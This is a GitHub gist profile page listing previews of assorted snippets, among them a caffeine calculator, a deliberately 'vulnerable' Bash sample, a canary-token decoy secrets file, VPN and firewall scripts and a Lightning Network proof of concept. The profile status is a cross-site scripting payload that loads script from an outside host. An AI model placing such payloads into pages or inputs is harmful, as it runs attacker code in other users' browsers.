Skip to content

Instantly share code, notes, and snippets.

View geeknik's full-sized avatar
💭
><script src=//xss.mx></script><X="

geeknik geeknik

💭
><script src=//xss.mx></script><X="
View GitHub Profile
@geeknik
geeknik / coffee.py
Created January 1, 2024 16:44
coffee.py
def calculate_optimal_coffee():
weight_kg = float(input("Enter your weight in kg: "))
age = int(input("Enter your age: "))
sensitivity = input("Enter your caffeine sensitivity (low/medium/high): ").lower()
# Base caffeine limit
caffeine_limit = 400 # FDA daily recommended limit in milligrams
# Adjust caffeine limit based on age
if age < 18 or age > 65:
@geeknik
geeknik / vulnerable.sh
Created December 31, 2023 00:55
Vulnerable Bash
#!/bin/bash
create_secure_file() {
local filename=$1
local dir="/secure_dir"
if [[ ! -d "$dir" ]]; then
mkdir "$dir"
chmod 700 "$dir"
fi
@geeknik
geeknik / grok_appeal.md
Created December 27, 2023 01:57
Grok as an X ban appeal advocate

Dear X Support,

I hope this message finds you well. I am writing to you today to humbly request the re-enabling of my X account, [@x_handle]. I believe my account was disabled by mistake, and I would like to appeal for its reinstatement.

I have been a long-time user of X and have always been a strong advocate for free speech and open dialogue. I understand that X has a set of community guidelines in place to ensure a safe and respectful environment for all users, and I have always made a conscious effort to abide by these guidelines.

Recently, I was informed that my account was disabled due to a violation of these guidelines. However, I believe there may have been a misunderstanding, as I have never intentionally posted any content that would be considered offensive or harmful to others.

I kindly request that you review my account and the content I have shared in the past. I am confident that upon further inspection, you will find that my account has not violated any of X's community guidelines.

@geeknik
geeknik / poc.py
Last active September 27, 2023 16:19
lightning network anti-spam poc for sending/receiving email
from ecdsa import SigningKey, VerifyingKey
import smtplib
from email.mime.text import MIMEText
import lnd_grpc
import imaplib
import email
# Initialize Lightning Network client (Assumes LND is running)
lnd_client = lnd_grpc.Client()
@geeknik
geeknik / secrets.yml
Created November 2, 2022 14:52
secrets.yml
http://canarytokens.com/traffic/images/8gllfimjq73njj3nqwxu1135h/index.html
@geeknik
geeknik / mullvad.sh
Created June 17, 2021 17:13
random mullvad wireguard server
#!/bin/bash
wg-quick down "$(ifconfig | grep -Po ^mullvad-us[[:digit:]]{3})"
wg-quick up /etc/wireguard/"$(ls /etc/wireguard/ | shuf -n 1)"
@geeknik
geeknik / userChrome.css
Last active November 12, 2019 06:10
Safety orange active tab for Firefox Nightly
.tab-background {
background-attachment: none!important;
background-color: none!important;
background-image: none!important;
}
.tab-background[selected="true"] {
background-attachment: none!important;
background-color: #ff9000!important;
background-image: none!important;
}
@geeknik
geeknik / burpfox.sh
Last active March 1, 2024 22:02
launch firefox with a temporary profile and remove the temporary profile when firefox exits
#!/bin/sh
trap 'rm -rf "$PROFILEDIR"' EXIT
PROFILEDIR=$(mktemp -p /tmp -d tmp-fx-profile.XXXXXX.d)
/path/to/firefox -profile "$PROFILEDIR" -no-remote -new-instance
@geeknik
geeknik / rules-both.iptables
Created September 2, 2018 01:38 — forked from jirutka/rules-both.iptables
Basic iptables template for ordinary servers (both IPv4 and IPv6)
###############################################################################
# The MIT License
#
# Copyright 2012-2014 Jakub Jirutka <jakub@jirutka.cz>.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
#!/bin/bash
cores=$1
inputdir=$2
outputdir=$3
pids=""
total=`ls $inputdir | wc -l`
for k in `seq 1 $cores $total`
do